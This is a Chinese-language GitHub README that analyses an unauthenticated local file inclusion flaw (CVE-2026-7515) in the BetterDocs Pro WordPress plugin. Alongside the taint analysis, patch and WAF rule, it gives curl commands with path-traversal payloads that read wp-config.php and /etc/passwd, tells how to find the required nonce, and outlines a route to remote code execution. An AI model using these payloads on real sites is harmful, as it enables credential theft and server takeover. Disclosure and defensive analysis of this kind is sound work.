Polosss/By-Poloss..-..CVE-2026-7515-PoC
GitHub: Polosss/By-Poloss..-..CVE-2026-7515-PoC
该项目是 WordPress BetterDocs Pro 插件 CVE-2026-7515 未认证本地文件包含漏洞的概念验证与分析报告。
Stars: 0 | Forks: 0
# CVE-2026-7515: BetterDocs Pro <= 3.8.0 - 未认证的本地文件包含
## 概述
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2026-7515 |
| **CVSS Score** | 9.8 (严重) |
| **CVSS Vector** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **受影响版本** | BetterDocs Pro <= 3.8.0 |
| **已修复版本** | 3.8.1 |
| **研究员** | Nguyen Ngoc Duc (duc193) |
| **发布日期** | 2026年6月18日 |
| **CWE** | CWE-98: 对 Include/Require 语句的文件名控制不当 |
## 漏洞描述
WordPress 的 BetterDocs Pro 插件在 3.8.0 及之前版本中,通过 `doc_style` 参数存在**本地文件包含**漏洞。这使得未认证的攻击者能够在服务器上包含并执行任意的 PHP 文件。
## 污点分析:Source → Sink
### Source (用户输入)
**文件:** `wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php`
**行号:** 141
```
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
```
**问题:** 来自 `$_POST['doc_style']` 的用户可控输入被直接使用,没有任何验证。
### Sink (危险函数)
**文件:** `wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php`
**行号:** 195
```
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
```
**问题:** `$doc_style` 变量(用户可控)被直接插入到传递给 `views->get()` 的文件路径中,该函数会包含此文件。
### 数据流
```
HTTP POST Request
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
NO VALIDATION (vulnerable version 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
File Inclusion via include() or require()
↓
Arbitrary PHP Code Execution / File Read
```
## Diff: 漏洞版本与修复版本对比
### 漏洞版本 3.8.0
```
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
```
### 修复版本 3.8.1
```
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
```
### 主要差异
| 方面 | 漏洞版本 (3.8.0) | 修复版本 (3.8.1) |
|--------|-------------------|------------------|
| 验证 | 无 | 使用 `in_array()` 的白名单机制 |
| 允许的值 | 任意字符串 | 仅限 `doc-grid`, `doc-list`, `doc-list-2` |
| 类型检查 | 否 | 严格 (`===`) 比较 |
## 受影响的 AJAX Endpoint
两个 endpoint 都注册了 `nopriv` 钩子,这意味着未认证的用户也可以访问它们:
```
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
```
### Endpoint:
1. `POST /wp-admin/admin-ajax.php?action=load_more_docs_section`
2. `POST /wp-admin/admin-ajax.php?action=load_more_docs`
## 概念验证
### 前置条件
- 有效的 `encyclopedia_nonce`(可在包含 BetterDocs Encyclopedia block 的页面源码中找到)
### 手动利用
```
# 步骤 1:读取 wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# 步骤 2:读取 /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
```
### 查找 Nonce
`encyclopedia_nonce` 会在渲染了 BetterDocs Encyclopedia block 的页面上的 JavaScript 中暴露出来:
```
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- This is what you need
};
```
### 从 LFI 到 RCE 的路径
1. **读取 wp-config.php** - 提取数据库凭据
2. **上传 PHP shell** - 通过 WordPress 媒体上传或主题编辑器
3. **包含恶意文件** - 利用 LFI 漏洞
4. **执行代码** - 实现远程代码执行 (RCE)
## 影响
| 影响类型 | 严重性 | 描述 |
|-------------|----------|-------------|
| **机密性** | 高 | 读取任意文件 (wp-config.php, /etc/passwd 等) |
| **完整性** | 高 | 修改或删除文件 |
| **可用性** | 高 | 拒绝服务 |
| **访问途径** | 网络 | 可被远程利用 |
| **权限要求** | 无 | 不需要认证 |
| **用户交互** | 无 | 不需要 |
## 修复方案
### 主要修复
**更新至 BetterDocs Pro 3.8.1 或更高版本**
### 手动修复(如果无法更新)
对 `includes/Core/Encyclopedia.php` 应用以下补丁:
```
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
```
对第 236 行应用相同的修复。
### WAF 规则(临时缓解)
添加规则以阻断 `doc_style` 参数中的路径遍历:
```
# 使用 path traversal 模式拦截 doc_style
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"
```
## 参考
- [Wordfence Intelligence](https://www.wordfence.com/vulnerability-advisories/)
- [BetterDocs Official](https://betterdocs.co)
- [CVE Details](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7515)
- [WPVDB](https://wpvulndb.com/vulnerabilities/)
## 分析的文件
```
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version: betterdocs-pro_3.9.0.zip
Key Files:
- includes/Core/Encyclopedia.php (VULNERABLE)
- includes/Core/Scripts.php (Contains nonce generation)
- includes/Utils/Views.php (File inclusion logic)
```
标签:OpenVAS, PHP, WordPress插件, 安全漏洞, 文件完整性监控, 本地文件包含, 漏洞分析, 路径探测